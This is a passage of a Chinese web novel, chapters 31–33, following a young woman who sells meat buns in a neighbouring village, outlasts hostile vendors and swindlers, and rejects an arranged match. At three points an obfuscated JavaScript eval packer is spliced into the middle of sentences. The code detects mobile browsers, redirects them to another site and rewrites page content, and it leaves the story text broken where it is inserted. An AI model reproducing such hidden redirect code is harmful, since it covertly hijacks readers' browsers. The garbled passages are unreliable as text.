蔡膏环心骂这两个平日里讹起人来做的那么真，现下怎么呆成这样。 她低了嗓门道：“她在这，人生地不熟的，若是你们吃了她的蒸饼闹了肚，还不是你们要多少，她便掏多少银钱？” 一番咕叨后，她心满意足看着两个无赖勾肩搭背出了里市。 心道看这季蒸饼还待不待得下去，这两人可是专讹人的，平常人没有不被他们唬住的。 隔壁摆弄炉子的孙吝郎虽未听真切，但也猜出来她的算计，心里也一派得意之情， 要知道，他这胡饼，同样是肉馅面食，季蒸饼一来叫卖，首当其冲就是他的摊子，大家在外吃了她的肉馅蒸饼，谁还进里市来买他的羊肉胡饼？ 两人都等着看好戏，不多时，两个就折返了。 蔡膏环心头一喜：得手了？ 却见赖子和胜郎二个，来至膏环摊前，捂肚弯腰，面色发白，尽是痛苦之色， “嗳哟，嗳哟，吃了你家膏环，肚疼……” 把蔡膏环唬了一跳，气上心来，叉腰指着他们骂道： “混说什么呢！我这膏环卖了十来年，竖子胆敢讹我？！” 她心头急的不行，不知这二人怎么回事，难道讹完季蒸饼，起了贪心，还要再来讹一手她？ “嗳哟！肚里有虫在钻！” 二个直在地上打滚，引的里市的人都来瞧热闹，只见他们满头冷汗，身子都疼的扭曲抽搐起来。 “她家膏环不干净的。” “吃了闹肚。” “瞧地上这二人疼的。” “怪呢，我说前儿我怎么拉痢疾，那日就买了她家的膏环。” 蔡膏环见这群人信了，跳起脚来骂： “我呸！你拉痢疾是自己贪了坏东西，少往我家膏环上攀扯！” “嗳哟……不得了，吐白沫了！”人指着地上的赖子叫出声。 只见他嘴吐白沫，连嗳哟都像蚊子似的，像是疼晕过去了。 “就是吃的她家膏环！我才瞧见他们二人在她摊子前吃膏环！” “是哟，快找乡啬夫来断案！将这妇人抓起来！” “得找药姑来看罢！” 人丛里七嘴八舌的。 实则是赖、胜二人，专有种丸药，吃了能口倒白沫，额头冒汗，他们便是靠这丸药专做讹人的营生， 就连这人群里头，也有他们一伙的托，专来煽情拱火，唬人的，少不得有被唬住的，怕吃刑役，便掏钱了事。 蔡膏环这本里人，都被指责的冒了汗，甚至疑起是不是自己擤了鼻涕没洗手的缘故？ 好半晌才找回点神，要她掏钱绝不可能的。 她拾掇上铁釜，推着独轮车，灰溜溜的钻出人丛，离了里市，往家去。 幸而那帮人也没拦她，她灰了神采，迎头碰见的，却是挎着个空篮，卖了百来个肉馅蒸饼的季胥，眼睛登时聚火，能把她钉出两个洞来。 合着那二人专就讹了她！ 照说赖、胜二人专在外做这等事，大部分盛昌里的人家都不甚了解，季胥是探听不着的。 这还是鲍予那四兄，做催债逼人的事，恶名在外，是盛昌里这帮无赖的头儿，因而鲍予才跟着知道这讹人项上的两个主谋，前儿一并告诉，令她有了提防。 季胥昨日便带着鲍予的口信，就在鲍家附近和鲍四通上了信。 “你放心，赖、胜二人得了我的话，断不会讹上你。”鲍四说道。 季胥与他几个钱，鲍四也没收，只道：“你帮了我妹子，我自帮你一回。” 那赖、胜二人得了话，虽然眼馋这块肥肉，到底没敢打主意。 手头没羊可宰，他们便在里市游荡，被蔡膏环叫去，刚巧吃了她家膏环，走出里市便心生一计，转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371579|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讹起她来。 只是蔡膏环到底知道他们端底，没让唬住，只是溜走了。 蔡膏环啐了口道：“识相的就滚出盛昌里，留这没你好果子吃。” “婶，” 季胥叫道，“我不进里市，买的还是咸口面食， 你的膏环是甜口，咱们各凭本事，压根犯不上冲，是不是？” 蔡膏环道：“这盛昌里的面食生意我能做！你不能做！做了就是抢我生意！” 季胥也不恼，她只道：“婶有没有想过，你这膏环生意不好，也有自己的缘故？ 你这膏环，搦的粗，煎的还硬，滋味不会好。” “呸呸呸，你的蒸饼才不好呢！”蔡膏环觉得自家膏环绝无仅有。 季胥笑道：“我给婶透个主意，你掺一半秫米粉去，吃起来软糯。” “我蔡膏环吃过的盐比你吃过的米还多，用的着你这毛没齐全的女娘来教？”蔡膏环晦气道，推着独轮车哐当哐当走了。 归至家中，她家儿郎喘吁吁跑进来同她道： “母，儿可算在本固里打听着了，这季蒸饼，乃在长安宫城为奴三年，手艺怕是在那学的！” 蔡膏环不由的嘀咕起这话，想了半日，让她儿郎把家里秫米粉找来。 翌日，蔡膏环惴惴不安支开摊儿。 她这铁釜，里里外外都使灶帚刷过一遍，摊子也都抹得崭新，极为担心自己的膏环生意被那俩无赖搅黄了。 孙吝郎倒是巴不得，嘴上仍是光亮话：“十来年了，哪能啊，你把心放肚里罢！” 日值大市，来了不少就市购物的里民，还有那外里的，里市比昨日喧阗热闹。 “你家换手艺啦？” “这膏环比先时好，软糯哏啾，再给我来一块！” 昨日蔡膏环溜了，没叫太多人瞧见那闹事的，到底是老生意，今时还是有熟面孔光顾的。 蔡膏环喜不自禁，浑圆的膀子搦搓着面团，来吃过的，都夸她手艺精进。 把冷冷清清的孙吝郎酸坏了，好容易寻个空档，猴过去道： “我叫上我家两个儿郎，你也叫上你家两个，他们那些人不去，咱们两家自去轰那季蒸饼。” 蔡膏环擦擦汗，显弄道：“你瞧我这生意，哪里忙的过来哪， 那季蒸饼在外头，也碍不着你我什么，何必去赶人家呢。” 好个蔡妇，自己生意好了，便撂开手了！ 孙吝郎心内暗骂，面上仍是好商好量， “我们同她都是面食，她在外挨家挨户的，谁还进这买咱的？ 照我说，趁早轰出去，粗壮的儿郎们撸起袖子，唬她一顿，看她还进来不进来！” “我说孙吝郎，你可积些德罢，” 蔡膏环把手一划拉，“这不都是人？自家生意不好也别怨旁人呀。” 孙吝郎气得翻眼，“前日、昨日也不知是谁先撺掇的……” 蔡膏环这头又来了生意，她喜滋滋忙乎着，嘴里念道： “她是咸口，我是甜口，两头犯不上冲，我可不去赶人家。” 好么，同是咸口的，不就剩孙吝郎的胡饼么？ 独他怄了一肚子气，揣着手回去，空守冷炉。 31. 第 31 章 话说季胥接连三日在盛昌里卖上了肉蒸饼这事，在本固里传了开。 因这里头有鲍予的功劳，她在田间地头忍不住就洋洋洒洒抖落出来， “要我说，还这胥女有眼光，知道先问问我这里头的内情，我可是土生土长的盛昌里女娘，本固里还有谁比我更了解那处？这多亏了有我呀！” “盛昌里那帮蛮霸贩子竟没赶她？” “胥女真是捞着了，盛昌里那帮蛮人可富了，买蒸饼还不是随手的事。竟叫她吃下那块难啃的骨头。” “我上回去卖瓜菜咋就被赶出来了呢……” 这些话传到冯富贞耳中，她气得甩手归家，同徐媪抱怨道：“都怪叔母，作甚同胥女讲，她又不是咱家人，白甚么帮她。” 徐媪纳闷，早先农忙那会子，孙女还主张要胥女来家庖厨，这会儿却又厌上了人家，不知是哪里头的缘故。 她道：“同乡同源的，能帮就帮帮人家也好，于咱家名声也好。” 冯富贞见大母不站自己这头，急的脸红，她道：“我悄悄告诉大母吧，三年前，小叔忽然要舍弃学业文章，要去县里头寻些活计挣钱，其实是要和胥女一道，大母怕是不知道罢？” 徐媪闻言，不由的锁住眉头。 她那小儿，打小脾气拐孤，成天与书卷为伴，不见的他说几句话，那胥女倒不知怎的，很合了他性子，两人玩的来。 她并未多留意，一心只在冯恽的学业上，后来经舍大儒听说他蒙学时颇有天赋，愿收他为弟子，传授经学，可把她给高兴坏了，冯恽倒撂挑子，要去县里头找什么活计。 “他们约好一天去的，后来胥女倒提前一天走了，谁知运道不好，教贼人略卖了。” “你如何知道这些的？”徐媪问道。 “我那时还小，常跟在一处，他们说话并不防我。” “兴霸呢？又去哪里野了？”冯富贞转了圈又回来问。 徐媪还是那副锁眉思虑的模样，半晌道：“哦，他去找王利玩了。” 此时，王利照旧，去季家二房，帮着拾柴换蒸饼来吃，冯兴霸因来找他，一听蒸饼，也胶牙饧似的黏着一道去了。 不过，季凤近日是无需去冯家牧猪了，她是在家的，刚和小妹吃过朝食的蒸饼，尚还不解阿姊为何要留出这么多来，吃完朝食还剩七个呢，多带些去盛昌里卖钱多好。 一出灶屋，忽喇喇的，王利、崔广耀、陈狗儿、陈穗儿、冯兴霸，全来了。 季珠便同她说了近来他们帮忙拾柴换蒸饼的事。 季凤一听，朝她脑袋戳了一指头，“你那时还小，不知道，王麻子偷过咱家胡瓜，你还把他家的人招来，不是招贼呢吗？” 季珠低起脸，不敢吱声。 王利羞的双颊火热，一股脑儿急道：“我不是贼！我可没偷过你家东西，季虎孩才偷过你家蒸饼吃呢！” 季凤遂朝妹妹一细问，方知那日季虎孩摸来灶屋偷吃的事，她性子上来，隔着院墙就骂了两句： “眼馋肚饱的小鬾鬼！叫我抓了，看我不拿荆条捆了你！也不知是谁教出来的！” 听的隔壁墙根下，也想掺合来拾柴的季虎孩愈发胆怯，他本就怕隔壁的季凤，胜过怕他亲姊，登时跑进堂屋。 矮矮的，和听着骂声出来的金氏撞个对碰。 她一把搂过季虎孩，站至院内，破开嗓道： “说谁呢，没大没小说谁呢！究竟谁教出来的畜产，对着伯母这样放肆！” 季凤回道：“谁偷我家蒸饼吃我说谁，自己不教好，教出个小贼来！看哪天被求盗逮去了，我才要发笑呢！” 金氏遂回过神来，是这季虎孩偷吃了她家蒸饼，怪说那日窗子下的柴禾都被踩下来好些呢。 她还以为家里进贼了，里外清点也没少东西，合着是这小鬾鬼馋到二房去了，她气的捞过季虎孩来，直打他屁股。 “哪个叫你去偷她家的？ 那有什么好偷的？你这馋死鬼投生的！” 季虎孩被打的吱哇乱扭，好容易挣脱来，往刚出屋来的季富后头闪躲。 季富护住他道：“你打他做甚！哪个小孩不偷摸东西的， 她家若是锁着灶屋，虎孩能偷着吗？好好说几句就行了，做甚动起手来，打坏了祖宗都要怪罪的。” 金氏气的咬牙，为的是自己在二房跟前没了脸，尤其才在田间听说季胥又在盛昌里卖上了蒸饼，她的心就像热火烹油似的。 那可是盛昌里啊，比本固里富得多，那蒸饼该有多好卖，那钱该有多好挣。 偏生这小儿还死乞白赖的，去想二房的蒸饼吃，如何教她不气，扑着又要去打，季虎孩躲，季富拦，季元来劝，乱成锅粥了。 一旁烧火做朝食的季止出来，她身上穿的还是旧年的补丁衣裳，满脑却都是季凤季珠两姊妹， 连她们，都穿上新衣了，听说，还是在陈家扯了半匹布，从头到脚都做的新的，那季凤这两日都穿在身上，一点灰便在门口拍打。 她都看见了，便央金氏给她做新衣，金氏说她这旧的还没穿坏，不给做。 她心里又酸又涩，想了个主意，和金氏道： “阿母，我也去盛昌里做买卖，就卖咱家的菹菜，卖了钱给你争脸。” 金氏一下对她亲香起来，“我的好阿娇，比你没出息的弟弟强多了，我这就替你拾掇， 我那坛子菹菜够酸够味的，还不把盛昌里那帮人馋的跟你跑？ 想她胥女都行，你有何不可以……” 她已经看见那钱大把大把的往自家钱袋子里钻了。 隔壁的季凤他们，这会已是去牛脾山拾柴了，王利也跟着，季凤倒是没再赶他，独对他冷着张脸。 王利越发卖力拾柴，拾了一大捆，比众人都多，分蒸饼时，虽是正好七个，但季凤哪舍得按个给，就一人掰了一半给他们，说道： “这是肉馅儿的，可香了，我阿姊在盛昌里卖上两钱一个，大家还抢着要呢，我都只舍得给你们分半个。” 她想着，剩下三个，便留着做晡食也好，还能省点粮。 “肉馅儿的？太好了太好了，我爱吃你阿姊做的肉。”冯兴霸眼睛一亮。 陈狗儿兄妹也在咽口水，他们先前吃的都是白玉的，还没尝过这样的，年节方能吃的上的肉，这会子一听说，哪能不馋。 至于王利，故意把眼睛往别处瞅，轮到他时，季凤掰了开，递那小块的给他，“喏。” 可瞥到他背后那大捆的柴禾，罢了，一码归一码，她咬咬牙，递了大块的给他，自己占那小点的。 王利都有些呆住了，半晌才接来，送进嘴里，还省出一半，留着带回去给他妹妹王绵，陈狗儿和陈穗儿亦是，都俭省着吃，没舍得大口塞完，要带给大母尝尝这肉馅儿的。 “我这块给大父尝尝。” 冯兴霸倒是三下五除二往嘴里吃完了，吃的咂摸嘴里的余香，约定道： “我明日还要来！” “阿姊！” 恰好季胥也归来了，妹妹们唤道，迎前来，争着接她手里的东西，在伙伴们面前左右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381728|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黏着她。 只见季凤接过那沉甸甸的柳篮。 里头照样买了肉、五十个鸭蛋回来，季胥如今每日都做皮蛋，为的是日后的买卖。 眼下蒸饼虽卖的多，但每日要费大半斛面粉，四五斤肉，刨除这些本钱，并每日买鸭蛋的钱，能攒个一百钱下来。 但盖房子还是远远不够的，照这样攒下去，待攒齐了，都已经入冬了，她们这破草屋子四处漏风，哪里住的人。 所以她每日都做上一罐皮蛋，过些时日能启开来了，许会添个持续的进项。 季珠则接过一只簇新的木桶，稀罕极了，“是木桶！还有木头味呢。” “太好了，这木桶使起来可不会漏水了，阿姊，那旧的专门拿来浇菜怎么样？瞧瞧，多厚实的木头。”季凤见了也欢喜，亦拎过来晃了晃，仔细放到灶屋去了。 她们灶屋添了鬲、甑，连水瓮并水桶也有新的了，更别提那陶盆、酱瓿、盛猪油的陶瓯，这些齐整摆在灶上的物件，一点点填满原本破落的家，瞧着就踏实。 “胥姊！” “你家添新家当了？” 其余人叫道，围过来瞧了一番，便接着在屋前的空地玩。 见家里头这样热闹，门前还堆着柴，个个手里还有蒸饼，便知是这些小郎小女们，又帮着拾柴了。 季胥笑着应他们，进了灶屋，见釜里还剩三个蒸饼，便同季凤道：“这三个也拿出去分着一道吃了罢。” 季凤扳过她，悄悄道：“我已经分了他们半个了，剩的留着咱们自己吃。” 季胥想了想，弯腰问道：“凤妹是觉得，这东西珍贵，要咱们留着吃对吗？” 季凤点头，“正是呢！这肉馅儿的蒸饼吃着多好哪，多补哪。” 季胥便明了了，不再强求她分出去，摸摸她的脑袋道：“那就依凤妹。” 孩童们有他们的相处之道，她也不去过多插手，况且季凤如今舍不得分，到底还是家穷，没过过好日子，日后富起来了，她手里东西多了，自然会舍得。 次晨，卖蒸饼的路上，季胥发现后头缀着尾巴。 待走出本固里，季止方跑着前来，对季胥道：“堂姊，我也去盛昌里卖东西，你带带我罢？” 昨儿金氏领着她，端了小半碗菹菜往冯家去，本想卖个好，令鲍予指点一二，谁知那鲍予嫌寒碜，一句话也不多说，气的金氏骂了几句，扯着她走了。 还是她哄着金氏消气，说自己在乡市卖惯了的，没有鲍予指点也能行，今日方能出来，远远跟在季胥后头。 特地等走远了才过来攀谈，若是被金氏瞧见她央着季胥，该戳着指头骂她丢了脸了，但季止不在乎这些，她只想卖东西，赚钱。 季胥实话道：“盛昌里我也刚趟进去，脚跟还没站稳，没法带你。” 季止悻悻笑道：“让我跟着你就成。” 偌大个盛昌里，季止想去哪，想走她走过的那头，也并非她能阻拦的，季胥因点了点头道： “好，但我丑话说在前，若是你被那些和你卖一类东西的贩夫们轰赶，绝非我一人能拦得了的，你若是看情况不对，便赶紧跑吧。” 两人前后脚进了盛昌里，季胥在前头叫卖蒸饼。 季止便换个词，也学着叫卖， “菹菜来欸——酸酸的菹菜，好吃欸——” 走不多时，还没开张，季止远远望见一行汹汹而来的汉子，她只当来驱赶她的，浑身都紧绷起来。 在跑与否之间犹豫，却见那三人堵的是季胥，不由的松了口气。 32. 第 32 章 这为首的，正是卖胡饼的孙吝郎，伙同他来的也没别人，是他家两个成年男丁，往那一立，身高马大向着季胥。 孙吝郎唬着脸喝道：“欸！谁准你来这卖的！赶紧滚！” 说着，他家两个儿郎便将袖子一撸，要来推搡着撵她。 季胥灵活朝人簇后头躲了下，这三五成群的人，都是听到她的叫卖，附近来买蒸饼做朝食的，有老有少，有男有女。 季胥躲开那大手，照样的清溜顺条道： “田坳上的赖家，湖边的倪家，山脚下的赵家……这些人家，个个都在我这儿定了蒸饼，等着我送去做朝食，你说说，谁准我来这卖的？” 听得孙吝郎脸黑如炭，不过短短四天，此女就将买卖做到各家了，念的这几户，像倪家，还是富户，孙吝郎可得罪不起。 旁的里民也帮腔，“就是，我们都等着买蒸饼呢，你白甚么在这赶人家？” “去去去，莫耽误了我吃朝食。” “女娘，莫管他，快快与我拣两个蒸饼来。” “咱们大家伙儿都在这，看哪个敢赶你！” 十里八乡难见的手艺，这女娘愿来盛昌里挨家挨户卖，他们也不用老天拔地去外头买，多便宜的事，自然将季胥拥护起来。 再个，比起他们这群人，孙吝郎那头明显人少势微，他们也无需惧怕，一时帮腔詈骂起来，这里头还有蔡膏环的儿郎，也跟风来买蒸饼的。 “吃了孙吝郎的胡饼，舌头都摸不着羊肉味哟！” “还卖五个子，你将她赶了，我们上哪吃这两钱的肉饼去！” 七嘴八舌的，将孙吝郎臊得趔趔趄趄逃走了。 “噢！走咯走咯。” “孙吝郎孙吝郎——羊肉吝啬性窝囊——” 孩童编起顺口溜，举着蒸饼冲着那背影欢呼。 “堂姊，你瞧，他们被吓跑了。”季止靠前来道。 有人便问：“胥女，这是你妹子哪？” “是的是的，我是她妹妹，来卖菹菜的。”季止忙不迭点头，一面掀开篮子，里头一个陶盆，搁着好些成颗的菹菜。 那霸道的菹菜味顿时蹿出来，有捏了鼻子的， “不行啊，你这菹菜都走味了。” 季胥闻着，也是酸臭酸臭的，应该是腌菹菜的坛子不洁，或是没封严实的缘故。 坛口须拿一块大石头镇实了，过上半个多月，捞出来时色如金钗、汁水酸美，那才是做成了，拿来就粥，就酒，最为适宜。 季止的菹菜瞧着不金盈，反倒呈现出一种暗沉色。 众人凑前来闻了一鼻子，都散去了，没买。 季止道：“我家吃了几十年了，也没觉得有味啊！分明是正宗的酸味。” 季止接着在这片叫卖，她提着篮子，走家串户的都说这味不好，没人愿费钱去买。 因也没有小贩来赶她走，她却是傍晚丧丧的自己回去了。 话说季胥卖完蒸饼，又绕道去乡市，买些鸭蛋和猪肉，家里面粉消耗快，她还添了两斛面粉。 在乡市上碰见庄氏，这些日子她稳定能卖上四十个，面带喜色，满是劲头，这半日光靠她可就能挣十二钱，想想就和做梦似的。 她卖空了正要家去，见季胥抱着面粉，这便来替，说道：“拿婶儿来扛着，你提这轻的鸭蛋和肉就成。” 这便大力气的，将面粉袋子搂过去，一下就扛在右肩。 “婶儿好力气。” 走大段路还不带歇肩的，季胥每回都得走一截歇一会，见此不由的赞道。 “不过是粗笨力气罢了。”庄氏羞道。 中途时，季胥要替换来，她还不愿，“我做惯了地里的活计，不觉着重，你这细胳膊细腿儿的，别折坏了。” “可别，让婶儿扛一路，叫我这做小辈的怎么过意的去。”季胥说道。 后来庄氏看没剩多少路，便由她抱着回去，自向家去了。 那田头锄草的妇人打趣她：“蕙娘，日日卖蒸饼，累的够呛罢？” 庄蕙娘实诚道：“哪里累了，又不用肩挑力扛的，篮子轻快着，不累人。” 这话说者无心，听者可是酸倒了牙，想这庄蕙娘不过去叫卖一番，就能得三成的利，他们咋就没和季胥卖个好呢？ 这活儿不就有自己的份了吗，一时都咬着槽牙可惜，却笑道： “胥女自己在盛昌里挣大钱，咋不带你去里头卖呀？好歹能教你多挣些利。” “乡市也可好，我今日卖了四十个咧。” 当初这分成，季胥是摊开说明了的，一斛面粉能做二百个蒸饼，算下来，这白玉蒸饼卖的钱，面粉本钱占了三成，她得三成，胥女那头得四成。 当初吕媪庄蕙娘这对姑媳俱是点头的，想着人家的手艺，又是一大早忙忙累累做好现成的，只管来取，哪还有什么旁的不足，心眼里尽是感激。 因此庄蕙娘这话不假，进了院子，自去西屋织布了，压根没将那些歪话放心上。 见陈家与季胥这样交好，廖氏却是坐不住了，惦记家里大男的亲事，忙忙的自田间归家，拉了丈夫崔大道： “我看也别等了，我可听说那胥女在盛昌里一日能卖百来个蒸饼，挣的钱可比种田划算多了， 你当那庄蕙娘同她这样要好，心里头不惦记将胥女娶回家去？” 崔大道：“那不能，她家车儿还小，没成丁呢，再等等罢，她家能盖了房，咱再提这门亲。” “不能再等了，成丁左右也就是明年的事，房子哪是朝夕间的事，你且瞧她连盛昌里都能趟进去，还愁不能给咱家挣钱？ 再说，咱家也住的开，要她盖那房做甚，不如省了钱来作旁的用处， 若那庄蕙娘也存了这心思，该抢先我们一头了。” 这话说动了崔大，廖氏换了身新襦裳，重新梳了头，挺着胸脯向季家去了。 “胥女，浇菜哪？真勤恳。” 季胥提着旧木桶自屋后菜畦出来，便见自家草屋前喜盈盈迎前来一个妇人。 廖氏还要来接她手里的空桶，别提多热络了。 “廖伯母可是有事？”季胥没将桶给她，仍是自己提着。 “有事，有事！天大的好事！”却是一旁的金氏抢道。 廖氏才刚先去的大房，她一听，竟是那胥女的好姻缘。 要知道，崔家的田地比她家还多，崔广宗将来又能成个铁匠，如今盐铁官营，那是很吃香的，配她的元女自是还差些，但配这胥女可是绰绰有余。 如今季胥双亲故去，金氏作为季胥的长辈，虽说不往来了，但在这姻亲大事上，廖氏还是率先找的她。 至于金氏，一听能得崔家的媒谢钱，她拾掇拾掇便来了，能把胥女嫁出去，也算拔去眼中钉肉中刺。 她每日在田里听着季胥在盛昌里卖蒸饼多挣钱，那可真不是滋味，想着万一有一日二房也盖起座瓦房，围上一间小院儿？ 那她金翠茹和田桂女较真半辈子，分家后好不风光，衣食住行，包括子嗣上，都始终压田桂女一头，临了却被她刚及笄的大女给越过去，那可真是老脸尽丢。 是以，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387481|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴不得季胥赶紧嫁走。 “你廖伯母相中你，给她家大男做新妇。” 金氏喜滋滋的比划，仿佛季胥捡来个天大的便宜， “哎哟，她家大男，崔广宗呀， 小时候调皮鬼儿，还拆你的丫髻将你惹哭过，你忘啦？ 不过人家现在可是个稳稳当当的人了，高高的个儿，臂膀有那么粗，在铁肆做学徒呢，说话就能做个打铁匠了。” 这话一说，令一旁的廖氏脸上有光，得意的掸了掸系在腰上的麻布蔽膝。 季胥道：“想起来了，但我不嫁。” “什么？不嫁？” 金氏说话时，廖氏一直端架子不言语，正是要敲打一番未过门的新妇，谁知她竟然不嫁，她脸色一下难看。 “是的，不嫁。”季胥重复道。 金氏不禁急了，“那崔广宗到底是本固里的大好儿郎，你竟放着不嫁？” 季胥不卑不亢，“他是大好儿郎，我也是好女娘，不比他矮一头，伯母何故做出我高攀他的姿态？” 金氏被噎了一噎，心道这胥女做了买卖，倒不如以前老实木讷，还是廖氏拿眼角扫了扫她家的简陋草屋， “你家瓮牖草舍，无有田地，底下还有两个年幼的妹妹， 嫁到我家，还得给口吃食养着你那两个妹妹，每年需得纳口算钱，如何不是你高攀？” “既这样，廖伯母选我做新妇图什么？”季胥不慌不忙发问。 “自是你会……”廖氏险些说出心中所图，忙的止住话口。 季胥接了话茬，“自是我会庖厨，能做蒸饼卖钱，问问伯母，崔家新妇挣的银钱，可否由自己拿着做体己？” “进了我家门，银钱自然要交到公账，一家子嚼用的。” 廖氏对她这种想存体己的心思狠狠皱眉头，这胥女太不老实。 “也就是说，我挣的钱，原本可以只我们三姊妹花，嫁作新妇后，却多出一大家子人来花我的钱，我图什么？” “自是图有个好夫婿，延绵后嗣。”廖氏听完这番话，已经在掂掇是否要说成这门亲了，这胥女太不识好歹。 她并未反驳，只说： “我不图这些，二位伯母请回。” 这一番下来，廖氏虽说对她百般不满，但这一拒绝，她被下了脸面，临走脸色黑如釜底，她实在想不通，这胥女竟看不上崔家的亲？ 想到什么，她停了停，重新扯起嗓子， “莫不是真恋着了冯家恽郎？我告诉你，冯家的门户你别肖想，顶多使钱雇你庖厨罢了，人家读书人可瞧不上你这等做庖厨的女娘！” 定是这样，冯家三郎是本固里唯一的读书人，模样斯文，不少女娘心生爱慕。 而这胥女打小与他玩的好，怕也惦记上了。 恽郎？冯恽？季胥连他如今什么模样都没注意过，没搭理这话。 耽误这会子功夫，她早都该做中食了。 可巧凤、珠二人从牛脾山背柴禾回来，季凤听了后头这话，把柴禾一丢，就追着讨骂起来， “胡吣什么呢！当心嘴里生疮！我阿姊就是神仙也配得上，不过挣了他冯家一日的庖厨钱，你们这群酸妇竟敢跑上家门来说这些子疯话，你等着，我往你家泼粪去！好盖过你们的嘴臭！” 妇人们都知道季凤那嘴利害，泼粪的事她阿母田氏从前确实也做过，到底她们这样有屋有院的没她能豁得出去，也不与季凤口舌争辩，紧着脚步回家去，闭上门，才啐道： “小小年纪这样的辣货，也不怕嫁不出去……” 33. 第 33 章 “阿姊不嫁，可是因为我和小珠……” 中食时，季凤听说了始末，明白过来廖氏她们突然来家里，原是想说和阿姊与崔广宗的亲事。 她虽骂那廖氏，这会子心底也有数，崔家有田有屋，崔姓儿郎还算是门不错的亲。 在她的认知里，女娘就是要嫁的，儿郎就是要娶的，若是蹉跎到二十几，成了怨女旷夫，全乡在背地里都要耻笑。 她以为季胥放不下自己和小珠，才不愿嫁。 “阿姊想了想，若是嫁作人妇，要侍奉舅姑，延绵后嗣，成了妻子、儿媳、阿母，身份多重多样，越发被缚住了，倒不如眼下自在，自己挣钱，先把日子过好了。” 好就好在分了家，她是二房的户主，金氏见不得她们好，上赶的要将她嫁出去，那也不能够。 季凤听的瞠目结舌，“可女娘本就是要嫁的呀，家里有儿郎，才能把日子过好。” 连她阿翁季贵，都打心眼里不喜她们三姊妹，嫌弃她们都是女娘，使他在乡里没脸，愧对了祖宗，若非阿母阻止，还欲给小珠取名为南来，谐音男来； 阿母却十分怜爱她们，不过被那些烂了舌头的说三道四时，夜里也会吁叹，要是生了个小子就好了，也不至于分家才分的一间草屋，过的这样清苦。 季胥是真心将她们当作妹妹看待的，听到这话，不由的心疼，眉眼也愈发温柔， “咱们家没有儿郎，不也在把日子越过越好吗？瞧瞧家里添置的东西， 凤妹是女娘，可是骂的多少小郎都不敢回嘴，你这么小便会牧猪挣钱，会拾柴，会做炊…… 在阿姊眼里，你比多少小郎都要厉害，千万勿要轻看自己。” 季凤听的一愣一愣，可细细想来，又觉得是这个理，有些脸红起来，“我没有阿姊说的那样厉害，都是阿姊的手艺才能挣来钱。” “谁说的，你每日帮我烧火做蒸饼，要是没有你，还有小珠，你们拾回来屋檐下那些柴禾，做蒸饼哪来的柴？” 她给季凤和季珠两个夹菜，鼓劲道：“所以，靠我们三姊妹，也能将日子越过越好。” “对！”五岁的季珠听了半懂，只知阿姊厉害，小鸡啄米似的点头，眼里崇拜热切。 季凤脸颊热热的，还是头一遭有人这样夸她，也轻轻点了点头。 一连两日，季止都原样提着篮子归家，一个钱没有。 季元便道：“要这样，还卖什么，不如在家做活。” 季止去卖菹菜，家里那些碎活，少不得要她来做，可把她累够呛。 “不行，我要做买卖，我要挣钱，像胥女那样，” 她丢魂失魄的进屋子，口内嘟囔着， “是这菹菜不好，换别的来，换别的来卖……” 季元拿着烧火棍追出去，“哎！你魔怔啦？” “七百一十钱？” 夜里，季凤得知自家攒下七百一十钱，惊的不行。 季胥接连在盛昌里叫卖五日了，刚点了点家里攒钱的竹筒，里头已有七百一十个钱了。 这数离盖房还远着，再有八/九日，她那第一罐鸭蛋也能启开拿去卖了，届时能多攒些。 见季凤嘴里能塞下鸡蛋了，笑道：“正是这数。” 季凤哪摸过这么多钱，借着月影儿便央道：“好阿姊，也让我数一遍罢。” 季胥自是由她去，季凤便将钱倒在床上，数着数着，总是要乐的出声。 黏在季胥怀里的季珠便道：“二姊别笑啦，又要忘记数了。” “嗳呀，看你打岔，罢了罢了，我再重新数一遍。”季凤美滋滋数着，她定是钱串托生来的，怎的美成这样呢？ “待攒到四千多个数，咱们也盖一座瓦房来住。” 季胥这话，可把季凤喜坏了，直朝她身上一扑， “咱们姊妹，也能住瓦房？” “小珠你掐我一把，我没听错罢？” 要知道，自分家以来，瓦房，简直是隔壁大房显弄的资本，而因她们是女娘，大父大母不喜，便只给她们草屋。 偏生是两隔壁，衬得天上地下的寒酸，瓦房，在阿母，在季凤这，简直成了心病，做梦都想住瓦房。 尽管差的还远着，不过到底有了念想，这是从前未有过的，季凤这晚激动的都没怎么睡。 次日晡时时分，季胥在屋后拔了把新出来的嫩蒜苗，拿来做佐料。 她种的那些菜，有两个妹妹勤加伺弄，捉虫浇水拔草，日日不辍，长势极好，绿油油的蒜苗现下便能吃了，像那菘菜、芦菔、芹菜、芸苔，还有后来才种下的冬葵、蔓菁，则还细嫩着，要再过个把月，才有头茬儿。 “胥姊，胥姊？” 